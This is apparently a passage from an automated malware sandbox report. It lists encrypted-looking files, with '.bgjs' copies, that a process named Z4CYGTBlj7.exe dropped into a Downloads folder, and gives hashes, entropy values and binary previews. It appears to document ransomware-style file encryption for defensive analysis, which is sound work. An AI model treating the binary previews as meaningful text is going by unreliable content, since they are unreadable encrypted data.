Preview:	EEGWX+...+'PP6.v..}....CV..`.T@@...f.c!S\...:N.iBl.<...z.1.....,Mu..&{e.G.....Ld._.F..q.P..p.MaJ..`r.}5]-.......L........dNH.%.B.._..4\8...,.S}..-n.P.F.1.mc!j/.$z.q....P.u..y.m.0{3.'i@.u..}.P?i.:.%.JX...\|c9.sE..6O..4^..[....}.....GM.Y../.../$....N.C..a.PNI,&..>....GR...6tBty(....\.@.....'.92MS...Qn..i..jI...3.[.i.. ..~.&.F..u..7...5..P.....EF..s.m.^!7....)?.I,....Y.\......!<m...)4A.>...}:$.?f.._..G6..Zf..n0A..>.:Z./..'....@..c.../....c..=Em??..y..>{...^w.N....M.1....j...4T.d..dV.p..:..D..`.....e.R.....p..T~..o.5..a...H.<.H.........2Vq)i...S..g..x.F-VG9\|)z"......&%.<y..f..P..Td.....R..km...=...s.4J....svl.N.[....S(>.y..?..N...b3M.."..........S..Bz..}ze.....4......#.,.r./9.a..J..-...2..U&..J.`..,...l.A.sY[.4..E2.a........-y.GH%S...:w.w.9..A`....b....<....c.....3+E.4xE..'k..~...X=.l#3../.b(wV.../^...&.?.{.<U.Y...9...H.~..:)....~.m..'.....M.s.....7%..P."7.....3..../..4.....-...I.}L..a.;..B^....=.jmq.X...........@.rqV\|.)y..^.{_.......*. ....pG

C:\Users\user\Downloads\EFOYFBOLXA.jpg

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837447699646086
Encrypted:	false
SSDEEP:	24:0icO/7GmALfQBwTcj/qtHf5kNAo2yeYxIGj4F3t0ky/yQJqvueYBfmEmsbD:ofww4e/eAo2jw7jm3t0kyr8vjymxmD
MD5:	1F8566B7E41901668DAF30A998334D11
SHA1:	0884B748B6D3182F009D00B7F06875510E6AFF03
SHA-256:	3A38BC8914994916170A45A03E8708A6AD80C92FA63EFC990FFC1941E2DE26A1
SHA-512:	E2AB3E6A1335F81D61C1ED8EA3A7B3F1C3E5796469D4F3AABD3A620910F9F24618A7A011256758C4D8FBFC710725F8A6A301A123D224A16CB859A268F69C7D29
Malicious:	false
Preview:	EFOYF.c....NX/.../`...Q..9@,.7......_}.3..8.... ..$.4w..LV.<.Hk.....~.=......1..Dy"...=.......1.Qp1/..BEiH<..6LF.>...;(...a...3-..\-..b...........&0..>B.dmx9....OB..].m..E...r.=.P..a..,F'.....h..!....n....e#Ijxk.)q,{o9...&......=..t..2d.8..F..OZ...Y....D)s.S(..._...N4eX..........M...z..[..h.I.M..>JX...-.I....bY..8.)a..........'d.\|e...^F...A.Y.....I._~r...D.1....TNB,...].Y.Qz...S..4...a..:Tco.g-xO.......Nz.^....1.).3..kC.5V.3.........0.......Z_{......qcuA61....u...@..$+BI.l.9.I&u.7.U....u{.8x.~..Y..~g.Q....Vj~...u.k.?....Sh$0..-)...B&...(...dB.o..`..?........]..r..{-.{B..a..oi..T.j.j.e..:i9.l.%.~.=.@....j.......%a.!Ea.."..%...f..x.K..4.Q>%bs.d.D..(.d....^i.......cj..X}(.91u./.$.N...[.:..Z......J......S.\%.H>..Z..67..%..e2.?>..0#I\....,`..."..;6.=..Y.-2.F(.g>E.ZB......g.s.~e`.4..J...\......y...i,.N.U..Z..v.d>Ne.G\|{.....FD....BY...m...ZU...;.....4...UV.r......o.;...R4.`X_...8#H.b$1....\.<..8.ZyX.}Y....=.'.1,....!..P.x.z.+.(lq0[kg....m.../..e..,...

C:\Users\user\Downloads\EFOYFBOLXA.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.837447699646086
Encrypted:	false
SSDEEP:	24:0icO/7GmALfQBwTcj/qtHf5kNAo2yeYxIGj4F3t0ky/yQJqvueYBfmEmsbD:ofww4e/eAo2jw7jm3t0kyr8vjymxmD
MD5:	1F8566B7E41901668DAF30A998334D11
SHA1:	0884B748B6D3182F009D00B7F06875510E6AFF03
SHA-256:	3A38BC8914994916170A45A03E8708A6AD80C92FA63EFC990FFC1941E2DE26A1
SHA-512:	E2AB3E6A1335F81D61C1ED8EA3A7B3F1C3E5796469D4F3AABD3A620910F9F24618A7A011256758C4D8FBFC710725F8A6A301A123D224A16CB859A268F69C7D29
Malicious:	false
Preview:	EFOYF.c....NX/.../`...Q..9@,.7......_}.3..8.... ..$.4w..LV.<.Hk.....~.=......1..Dy"...=.......1.Qp1/..BEiH<..6LF.>...;(...a...3-..\-..b...........&0..>B.dmx9....OB..].m..E...r.=.P..a..,F'.....h..!....n....e#Ijxk.)q,{o9...&......=..t..2d.8..F..OZ...Y....D)s.S(..._...N4eX..........M...z..[..h.I.M..>JX...-.I....bY..8.)a..........'d.\|e...^F...A.Y.....I._~r...D.1....TNB,...].Y.Qz...S..4...a..:Tco.g-xO.......Nz.^....1.).3..kC.5V.3.........0.......Z_{......qcuA61....u...@..$+BI.l.9.I&u.7.U....u{.8x.~..Y..~g.Q....Vj~...u.k.?....Sh$0..-)...B&...(...dB.o..`..?........]..r..{-.{B..a..oi..T.j.j.e..:i9.l.%.~.=.@....j.......%a.!Ea.."..%...f..x.K..4.Q>%bs.d.D..(.d....^i.......cj..X}(.91u./.$.N...[.:..Z......J......S.\%.H>..Z..67..%..e2.?>..0#I\....,`..."..;6.=..Y.-2.F(.g>E.ZB......g.s.~e`.4..J...\......y...i,.N.U..Z..v.d>Ne.G\|{.....FD....BY...m...ZU...;.....4...UV.r......o.;...R4.`X_...8#H.b$1....\.<..8.ZyX.}Y....=.'.1,....!..P.x.z.+.(lq0[kg....m.../..e..,...

C:\Users\user\Downloads\EOWRVPQCCS.jpg

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858599593388159
Encrypted:	false
SSDEEP:	24:9bxbufKdfwa4zC7+NhiilXOv3rVCgKrs7nyUA0Qqns7TwuQsbD:9dKfKdfw3zC7+Nhii9Ov3rVCgKY7nyUQ
MD5:	2874630E9C7E59499E8A463FD6FC1C64
SHA1:	1711CE2B11A08EFEF375F0227CF8A806CEA49F64
SHA-256:	FD9DF1C52B54CC416E4DB1E909C3FE57AF06EE81C0DD92C2D319945A47787274
SHA-512:	0E1B51BD37F0E1DD11D5F8DB9AB1EA5FFBED75F258E6A01846D5B22A9CE0B0B9990FEC74748A5FF0107C78649284872418B9ADDEF4A5566BEFD2EB519D19BD91
Malicious:	false
Preview:	EOWRV"Djg.5@y....j..pp"....$.bz...A.8..D...(.......-<3..Z.V...-.......;S1.s.\|Q....O..."m.q.O._..!D......3bK.J......S...p.8..7..'<.~.z.E.s.R.@[a../.HY.jp$..y....2.....$1...[.Y.j..4..Hf.....CZ.../..7G-. ..a#....j....r.4..NV...vg.6..........b.81f-sm.]z.,r..9.V....g........^u..N.h..eA.i...=..:.@..^...I...cb.yd..o..........l.d,VL/.W.QA....S"\.8.@..1.8.G.h.mg.^{r(0.j.......y&.sXW...P........i.&..Y..H....j.'.3$i...w..@[.7M.=..r.=jo.......<Z.HgQ...T...h.% .C"(tN./.v../.z....7?..K8..._V..D.c.},..:T>.:&...j@.{d.."z..m..I.'b..{.+...n.o.u3...L\..?[`...k..X...%Ktk\|....L.@..R.y#o.Al.&....4....Urt^.....N.\|T...z>..c?..:9.Bzu.T0C.?.t.p...=.l..7.=.xf..#..E..B...L..}...Y....}..a.f.6.ct.vn...."...z3....O....[\....'z.w.<'z...,..$..-....12...dv_AR...._.2.1..."...Zq...@}xk...Ip...#...g.k9.._.:S5....3#.,..._.K...k..d..D.P..Q...@C2.T.....0..D.;)YB..b.............=.\.(.X...)>~.Z4.v.j..L[C.....5..".....m..<...+lV^..x.N.4@.".0{]...o{...A...a.....%...J.V.z.f..+z...>

C:\Users\user\Downloads\EOWRVPQCCS.jpg.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858599593388159
Encrypted:	false
SSDEEP:	24:9bxbufKdfwa4zC7+NhiilXOv3rVCgKrs7nyUA0Qqns7TwuQsbD:9dKfKdfw3zC7+Nhii9Ov3rVCgKY7nyUQ
MD5:	2874630E9C7E59499E8A463FD6FC1C64
SHA1:	1711CE2B11A08EFEF375F0227CF8A806CEA49F64
SHA-256:	FD9DF1C52B54CC416E4DB1E909C3FE57AF06EE81C0DD92C2D319945A47787274
SHA-512:	0E1B51BD37F0E1DD11D5F8DB9AB1EA5FFBED75F258E6A01846D5B22A9CE0B0B9990FEC74748A5FF0107C78649284872418B9ADDEF4A5566BEFD2EB519D19BD91
Malicious:	false
Preview:	EOWRV"Djg.5@y....j..pp"....$.bz...A.8..D...(.......-<3..Z.V...-.......;S1.s.\|Q....O..."m.q.O._..!D......3bK.J......S...p.8..7..'<.~.z.E.s.R.@[a../.HY.jp$..y....2.....$1...[.Y.j..4..Hf.....CZ.../..7G-. ..a#....j....r.4..NV...vg.6..........b.81f-sm.]z.,r..9.V....g........^u..N.h..eA.i...=..:.@..^...I...cb.yd..o..........l.d,VL/.W.QA....S"\.8.@..1.8.G.h.mg.^{r(0.j.......y&.sXW...P........i.&..Y..H....j.'.3$i...w..@[.7M.=..r.=jo.......<Z.HgQ...T...h.% .C"(tN./.v../.z....7?..K8..._V..D.c.},..:T>.:&...j@.{d.."z..m..I.'b..{.+...n.o.u3...L\..?[`...k..X...%Ktk\|....L.@..R.y#o.Al.&....4....Urt^.....N.\|T...z>..c?..:9.Bzu.T0C.?.t.p...=.l..7.=.xf..#..E..B...L..}...Y....}..a.f.6.ct.vn...."...z3....O....[\....'z.w.<'z...,..$..-....12...dv_AR...._.2.1..."...Zq...@}xk...Ip...#...g.k9.._.:S5....3#.,..._.K...k..d..D.P..Q...@C2.T.....0..D.;)YB..b.............=.\.(.X...)>~.Z4.v.j..L[C.....5..".....m..<...+lV^..x.N.4@.".0{]...o{...A...a.....%...J.V.z.f..+z...>

C:\Users\user\Downloads\GIGIYTFFYT.mp3

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871266058231489
Encrypted:	false
SSDEEP:	24:uyCFsahmaovnAL8lDViz6Ybuofeut8w1QB1Xi0NYoIiGv7jrsWjkDAdBP1e4Uphk:x0hzonLs6YbuofZ+yw2jrfzBNe4Ghy/F
MD5:	3398F8E46FE213761B972B9F4ED3C351
SHA1:	259A47FE77723942F92163FC938F5AA9BD319CB2
SHA-256:	B2EB58BEAAE3540022E848FA4788DD0A71ADB4BBF48792E7B7C1A526D2662830
SHA-512:	ADBD17ADA7FC6F35F509D57901463603FD35703DFEFC1EE99C41EBFB34D292388C8F14E8AAA943B574165ED9E1CE70E58FF1F3200A8DEFAD2FA68182CB461A17
Malicious:	false
Preview:	GIGIY...x.....O.....-..C."...e>....0.h.l..A..FI[.K.E...j..:...D.B. .v.q.4..I.$..H...<..I.s<.......Q..A.%h...&..'.2.y.5..)..."Pr..n.....[.0.......a.m.....R.%.#`..W..X..".1..Z.5-.l..f.].).c...n..+..;!..(qE.N5S...a<.d.d..... o..-n8.w..u.W.........g..]..,$..h.l.[.k.x.$Qtp3......[............y...S...2.`E.1.\|-.Q...F.fi6..F.l..^..x...1j...i....<....Vt...:.....d..?.F\|.{["_Wv.........h.(.?.u.m..^. +.BE`o.Mx.<........U..i.e.Q.7;'?..j.\.-.B..lD.(r..4D/A.......YQ.A....~.`;:....2]=G../r.D.1.ig.V.%...2..~.(.....`.a.M.K.I....f.........s.V&...(......#.imM.k.J..?....+.Y-...a..1X..R.....#..@9.x.*b...3...5.;...l...d.....s.........S..m&R...sp...Q.H.&.n.....U.o.A!..%t....+............"0...k.-.-.Mh&"S.S....2.Nb......C.?...7fp...Z6;6!N...2G.>..O......F.E..I$.bT...S...7....Uf^..h.`:\|..MC..,.6._.%E~R+..).U.B....\...m..[P..._.=.7.....j..B..~;.....1R.....X.G@}..g.V..30y.HY....)G.=.....Q..N..........g.......aUs..).:..\|.4.._..CC....o....Z.0....W..UIt.V0...S.

C:\Users\user\Downloads\GIGIYTFFYT.mp3.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.871266058231489
Encrypted:	false
SSDEEP:	24:uyCFsahmaovnAL8lDViz6Ybuofeut8w1QB1Xi0NYoIiGv7jrsWjkDAdBP1e4Uphk:x0hzonLs6YbuofZ+yw2jrfzBNe4Ghy/F
MD5:	3398F8E46FE213761B972B9F4ED3C351
SHA1:	259A47FE77723942F92163FC938F5AA9BD319CB2
SHA-256:	B2EB58BEAAE3540022E848FA4788DD0A71ADB4BBF48792E7B7C1A526D2662830
SHA-512:	ADBD17ADA7FC6F35F509D57901463603FD35703DFEFC1EE99C41EBFB34D292388C8F14E8AAA943B574165ED9E1CE70E58FF1F3200A8DEFAD2FA68182CB461A17
Malicious:	false
Preview:	GIGIY...x.....O.....-..C."...e>....0.h.l..A..FI[.K.E...j..:...D.B. .v.q.4..I.$..H...<..I.s<.......Q..A.%h...&..'.2.y.5..)..."Pr..n.....[.0.......a.m.....R.%.#`..W..X..".1..Z.5-.l..f.].).c...n..+..;!..(qE.N5S...a<.d.d..... o..-n8.w..u.W.........g..]..,$..h.l.[.k.x.$Qtp3......[............y...S...2.`E.1.\|-.Q...F.fi6..F.l..^..x...1j...i....<....Vt...:.....d..?.F\|.{["_Wv.........h.(.?.u.m..^. +.BE`o.Mx.<........U..i.e.Q.7;'?..j.\.-.B..lD.(r..4D/A.......YQ.A....~.`;:....2]=G../r.D.1.ig.V.%...2..~.(.....`.a.M.K.I....f.........s.V&...(......#.imM.k.J..?....+.Y-...a..1X..R.....#..@9.x.*b...3...5.;...l...d.....s.........S..m&R...sp...Q.H.&.n.....U.o.A!..%t....+............"0...k.-.-.Mh&"S.S....2.Nb......C.?...7fp...Z6;6!N...2G.>..O......F.E..I$.bT...S...7....Uf^..h.`:\|..MC..,.6._.%E~R+..).U.B....\...m..[P..._.=.7.....j..B..~;.....1R.....X.G@}..g.V..30y.HY....)G.=.....Q..N..........g.......aUs..).:..\|.4.._..CC....o....Z.0....W..UIt.V0...S.

C:\Users\user\Downloads\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83219565077847
Encrypted:	false
SSDEEP:	24:DZjGjhKhDH0xcmCzN7c9pJ28/GYXbq7kMGVuJTU/g5SD5oDGbJksiilDMK2msbD:DZYwhDHuHCzhc9pfFXNMOuZUYMdPbms6
MD5:	660B89C925853D0FD61908157A192E5A
SHA1:	01FA7FE7A6B77394B551D30530B238A0B4CAD17C
SHA-256:	4310EF56DF30514D6809B4550CE456153433F485EC8E68C61E092699B13E601F
SHA-512:	69410E77D3298B1179BD4173C0FCFF6C5BF847BBA2760C9ED8D6184EC04D0C3BAD1856B423CDD78BD199FE742BC993DC7B5DA2E0FFBA74DED59EBD5C437DA739
Malicious:	false
Preview:	GRXZD..].j.x..1......w7l...4.....Y.w.\.....EAK'9.)..#v...4cIF.9...bSzu.,G.q........K7..E.....L.}.N,..I..Wr..5j...a..U..T.....+.ib......2#....Rc...r\|>.....x.[. d..@%..;...../....f.2..J....?..?..i.\|.U..p......p....Y...'..;"...Kgv.+..J.b..5..J..}...f...../8<..1...rR...<......t.......LoWQ..e.t...S.A..3.M.5B...$.. r.#..%!...(.g......~\|..b..v.5k.n\|..+...nZ...u`.V_..8......!."......X..n......`{...I..%k.PhUld\..K..uun...9E..5. ..W.......%..-G..A~.E$...\....9...}...=.."8..>.O..Q.%...m....d~W.....&H.....SL....%.....V.X...'.c.@^.u\|Q..U.X0Y.s.oR.\|./[...\qL......G.\|m_D.-.....O...vE.^Q.F...(2&........1U0.{.._..... ....K..b...I..?^VW...Jg. h<..:.A....~+..=.068..Gc.l>F....p5n X...Q#.V.80o9.x..~.OQ!>.9..4...ZZ)?"....KS.......U..fWu4..1A..t."@..R............<5..b....g..54A"Y....W)}..'.c.KR...&-.#!.>S..l....B..L..../..........4....vDFOH...(n.^..(.N....G.1.FWV.-k.....L.I....A..\..l...6.l....s.~.\|..Y..iD...Bc{....v...t.uG~6r...+:..7...D.'n'zy5.D.....

C:\Users\user\Downloads\GRXZDKKVDB.xlsx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.83219565077847
Encrypted:	false
SSDEEP:	24:DZjGjhKhDH0xcmCzN7c9pJ28/GYXbq7kMGVuJTU/g5SD5oDGbJksiilDMK2msbD:DZYwhDHuHCzhc9pfFXNMOuZUYMdPbms6
MD5:	660B89C925853D0FD61908157A192E5A
SHA1:	01FA7FE7A6B77394B551D30530B238A0B4CAD17C
SHA-256:	4310EF56DF30514D6809B4550CE456153433F485EC8E68C61E092699B13E601F
SHA-512:	69410E77D3298B1179BD4173C0FCFF6C5BF847BBA2760C9ED8D6184EC04D0C3BAD1856B423CDD78BD199FE742BC993DC7B5DA2E0FFBA74DED59EBD5C437DA739
Malicious:	false
Preview:	GRXZD..].j.x..1......w7l...4.....Y.w.\.....EAK'9.)..#v...4cIF.9...bSzu.,G.q........K7..E.....L.}.N,..I..Wr..5j...a..U..T.....+.ib......2#....Rc...r\|>.....x.[. d..@%..;...../....f.2..J....?..?..i.\|.U..p......p....Y...'..;"...Kgv.+..J.b..5..J..}...f...../8<..1...rR...<......t.......LoWQ..e.t...S.A..3.M.5B...$.. r.#..%!...(.g......~\|..b..v.5k.n\|..+...nZ...u`.V_..8......!."......X..n......`{...I..%k.PhUld\..K..uun...9E..5. ..W.......%..-G..A~.E$...\....9...}...=.."8..>.O..Q.%...m....d~W.....&H.....SL....%.....V.X...'.c.@^.u\|Q..U.X0Y.s.oR.\|./[...\qL......G.\|m_D.-.....O...vE.^Q.F...(2&........1U0.{.._..... ....K..b...I..?^VW...Jg. h<..:.A....~+..=.068..Gc.l>F....p5n X...Q#.V.80o9.x..~.OQ!>.9..4...ZZ)?"....KS.......U..fWu4..1A..t."@..R............<5..b....g..54A"Y....W)}..'.c.KR...&-.#!.>S..l....B..L..../..........4....vDFOH...(n.^..(.N....G.1.FWV.-k.....L.I....A..\..l...6.l....s.~.\|..Y..iD...Bc{....v...t.uG~6r...+:..7...D.'n'zy5.D.....

C:\Users\user\Downloads\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.872760079495172
Encrypted:	false
SSDEEP:	24:F8SUSkliIYvqxU2ppumLqlOTlpfRsktDAz8Y6yb6f6sbD:FLUSklikqkgmWgHfRFphOI6mD
MD5:	E40CECE604B8BAF9DC2F3FA8D00C1A84
SHA1:	869F876257DA332FA5FA9B5973D181E092B3F602
SHA-256:	8C57B6048E397AA4982614BA19B6D279B4128F8C1F674D77049CC0A915885FA6
SHA-512:	37E64924331698740320DBD720F6E49C7766EBE819CD825495CBDC3C8044C458AFD8DDF02FF2EF727D6BC3EB64EB062AD718E9CEA5100FE0679F4E50B86D2A96
Malicious:	false
Preview:	NVWZA.......(......U...p.^..s...cd8...i.A.+..x......c.-./\|...w[.5>..6YQ.;.m.w..A'....X...s..fv.`..u{<.C.....w..NL..bB...K=...d.<._...........v....gx.[...1...<v.>o.U!I.m.....P`..F..A.#"_..r+.mjVB..M..4.qG.L......"...........plr.P.Y\z..I.x..v.(.D..z.]....xof...\|...M..R&b&Q5@.....y.lR?..h\|....\..D.......0Q.....2B.yFU\.Q..x.]..]C.49.....7...P..........P.............h...1?M!.a.p?....u _....#<....t.T..Y."....,.....k..\.)..8C....1...G.X..r...24.!...=`eY..UeW........;.M.\|....j ..2g..=bmk....Ch.L<.1B!.....z.7..~.>..)..V0..4...2.&...q%......d.x....I...;\|. ..6#8...s<.}w.R.nW.R...R;..I.!...SN.,B..?c....e..0R..i...[s3T5i&.\|<H......%..@...;lS.[R......1./....@.....JL...V....fBLq.....&.G.3p`.'.h]..<<.9...O.nr..u.:...O.=...p.K...z=.v...LD.......{..XL...B.F.RI..q"...^.....k.{i'.f.I..o.DaW.........n....>N'...v<.L...xW....U.....M0W...g.$N..}t..?...;..$..;...P'bd7.....MB..g..Z.Jw..Y.:.&.hB...'1..."..7...<...vb.0..pr.A.K.k.y...O.&..S...}......b.g]Q

C:\Users\user\Downloads\NVWZAPQSQL.docx.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.872760079495172
Encrypted:	false
SSDEEP:	24:F8SUSkliIYvqxU2ppumLqlOTlpfRsktDAz8Y6yb6f6sbD:FLUSklikqkgmWgHfRFphOI6mD
MD5:	E40CECE604B8BAF9DC2F3FA8D00C1A84
SHA1:	869F876257DA332FA5FA9B5973D181E092B3F602
SHA-256:	8C57B6048E397AA4982614BA19B6D279B4128F8C1F674D77049CC0A915885FA6
SHA-512:	37E64924331698740320DBD720F6E49C7766EBE819CD825495CBDC3C8044C458AFD8DDF02FF2EF727D6BC3EB64EB062AD718E9CEA5100FE0679F4E50B86D2A96
Malicious:	false
Preview:	NVWZA.......(......U...p.^..s...cd8...i.A.+..x......c.-./\|...w[.5>..6YQ.;.m.w..A'....X...s..fv.`..u{<.C.....w..NL..bB...K=...d.<._...........v....gx.[...1...<v.>o.U!I.m.....P`..F..A.#"_..r+.mjVB..M..4.qG.L......"...........plr.P.Y\z..I.x..v.(.D..z.]....xof...\|...M..R&b&Q5@.....y.lR?..h\|....\..D.......0Q.....2B.yFU\.Q..x.]..]C.49.....7...P..........P.............h...1?M!.a.p?....u _....#<....t.T..Y."....,.....k..\.)..8C....1...G.X..r...24.!...=`eY..UeW........;.M.\|....j ..2g..=bmk....Ch.L<.1B!.....z.7..~.>..)..V0..4...2.&...q%......d.x....I...;\|. ..6#8...s<.}w.R.nW.R...R;..I.!...SN.,B..?c....e..0R..i...[s3T5i&.\|<H......%..@...;lS.[R......1./....@.....JL...V....fBLq.....&.G.3p`.'.h]..<<.9...O.nr..u.:...O.=...p.K...z=.v...LD.......{..XL...B.F.RI..q"...^.....k.{i'.f.I..o.DaW.........n....>N'...v<.L...xW....U.....M0W...g.$N..}t..?...;..$..;...P'bd7.....MB..g..Z.Jw..Y.:.&.hB...'1..."..7...<...vb.0..pr.A.K.k.y...O.&..S...}......b.g]Q

C:\Users\user\Downloads\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838528318599573
Encrypted:	false
SSDEEP:	24:K8z6f1+Y99+VSbODe7OCi0VMWk5KKuYh/HJ/SODPyDC+DbXRekcLoRBUAsabTkVB:K8z6f1+YTvb4e7ON2k5Kg/HB1DPyDzb+
MD5:	3A5CFCCFB018B9989ABE3CBDF3744552
SHA1:	4DB71C2172A5754F5B99DB7BFEDC0E155539070F
SHA-256:	A3EB7859AA71D6DFB7FFF01BDEEAB4024A7FB320C164D9783D6C586089071BA3
SHA-512:	330922139EB54C119B64E4CBEFA6E2A0AB5052DADDFC38C24B3E987DB25DC677F825D4B63019B4F4F23647AD02562A0749242B03689D6DF21EEABAD7D3BDBDD5
Malicious:	false
Preview:	PALRG.oR=......Qe.3.e..%H3e.s.m./T..\.w>...XDU0......i..%.p_.ff...6...N..E..$.x..Iy.g^.:..-..u..o.lyh......eWs[..?....A.F..@.....)..A.UKJ.zt."...d..zp.U......fA.T.\|...8tD.7BB.....4%.>..J.;._.?...3.S..B.........P.1.N.WR\:.j....u..B..i........8.....r1.\|.5J..9..kG6k+....=.}.'..H.0....[.1.P}+...l..0g@...r"~3./X.3...x....3..S..11...1..>X.m..../.?.S.0.^.....g....t3....<...<B...vZ.>..v-T...hB!.Q../.Vi{.....n5w.Dd...J%.?G.....s...\|."........\|...1....$T`q.9....'G0......;...&s.q.......J.2..rU...d.2.ZE].tfg1A.l...D..C..4.K..a...kx....u..y...}....J..v....Q...`VbV\.{.....:_'......0.h.0.I..6.R.qPD..5...O.....d...>..q.V.h..e.."Bn.."...4.X.{........;...... .muu..........bT....v....jp.%....F..O!...,].x$..W$Gg....X.D.]V.#...\|.......HZ.'!'.%...^....8v.8.C4.X1..Hs.85Z.^..>.....`..L-.j1.+Kz].....!@.AsBBI.g.Q1...O-3........E.O.<...i..]Dz..n.........$.....x#....Q.F..~.......%....Z..h.6.U.....J..G.ZlQ..<$..\|.....BY.)'9m....U.......{.i...%....aW.....M

C:\Users\user\Downloads\PALRGUCVEH.pdf.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838528318599573
Encrypted:	false
SSDEEP:	24:K8z6f1+Y99+VSbODe7OCi0VMWk5KKuYh/HJ/SODPyDC+DbXRekcLoRBUAsabTkVB:K8z6f1+YTvb4e7ON2k5Kg/HB1DPyDzb+
MD5:	3A5CFCCFB018B9989ABE3CBDF3744552
SHA1:	4DB71C2172A5754F5B99DB7BFEDC0E155539070F
SHA-256:	A3EB7859AA71D6DFB7FFF01BDEEAB4024A7FB320C164D9783D6C586089071BA3
SHA-512:	330922139EB54C119B64E4CBEFA6E2A0AB5052DADDFC38C24B3E987DB25DC677F825D4B63019B4F4F23647AD02562A0749242B03689D6DF21EEABAD7D3BDBDD5
Malicious:	false
Preview:	PALRG.oR=......Qe.3.e..%H3e.s.m./T..\.w>...XDU0......i..%.p_.ff...6...N..E..$.x..Iy.g^.:..-..u..o.lyh......eWs[..?....A.F..@.....)..A.UKJ.zt."...d..zp.U......fA.T.\|...8tD.7BB.....4%.>..J.;._.?...3.S..B.........P.1.N.WR\:.j....u..B..i........8.....r1.\|.5J..9..kG6k+....=.}.'..H.0....[.1.P}+...l..0g@...r"~3./X.3...x....3..S..11...1..>X.m..../.?.S.0.^.....g....t3....<...<B...vZ.>..v-T...hB!.Q../.Vi{.....n5w.Dd...J%.?G.....s...\|."........\|...1....$T`q.9....'G0......;...&s.q.......J.2..rU...d.2.ZE].tfg1A.l...D..C..4.K..a...kx....u..y...}....J..v....Q...`VbV\.{.....:_'......0.h.0.I..6.R.qPD..5...O.....d...>..q.V.h..e.."Bn.."...4.X.{........;...... .muu..........bT....v....jp.%....F..O!...,].x$..W$Gg....X.D.]V.#...\|.......HZ.'!'.%...^....8v.8.C4.X1..Hs.85Z.^..>.....`..L-.j1.+Kz].....!@.AsBBI.g.Q1...O-3........E.O.<...i..]Dz..n.........$.....x#....Q.F..~.......%....Z..h.6.U.....J..G.ZlQ..<$..\|.....BY.)'9m....U.......{.i...%....aW.....M

C:\Users\user\Downloads\SQSJKEBWDT.docx

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.874919609843621
Encrypted:	false
SSDEEP:	24:2fyTo9SrXDZNzaj8aEyMCVPy3uPDx3KUFSWCbENdZhefc4CprxsbD:k96TfvyMzel3KUElbEdhefxCpdmD
MD5:	2F583959A4E5C0669A637136D7C909C7
SHA1:	C04ECD7F0258C90412D4375376C17852A8E0D6A2
SHA-256:	77B9B5D55233A9051E14EF7ACE5D464159DAFA7FAF37AAD146500BC6A7AFB3E8
SHA-512:	50CADC6C9C4A08E8A682E729D6D1E905F86B2CCEAC0EC1E0DAAAB2C2141E3DD98C6214A03C380973637092F663FC731A5DB0C45DEE94D236A7DF6B32B8938BF7
Malicious:	false
Preview:	SQSJK\|...Gh.....Y.....An..cqP.+c]....v....?g.<.,..F[..8..Fj.-.N.4`..:Y.G{.........d.M4z.}27'.Ws%b.. ...r...8.>...A..G.v\..e..=....g.S.N....h...z.U.T?9...5{......:..:"% '........rBuN.v..Pv.>.i.H.....!u^...m.(."9.P...J..R.o.#R....<...X..q../1...\..b..J.I..yqn.X.KK..$t.aZd. 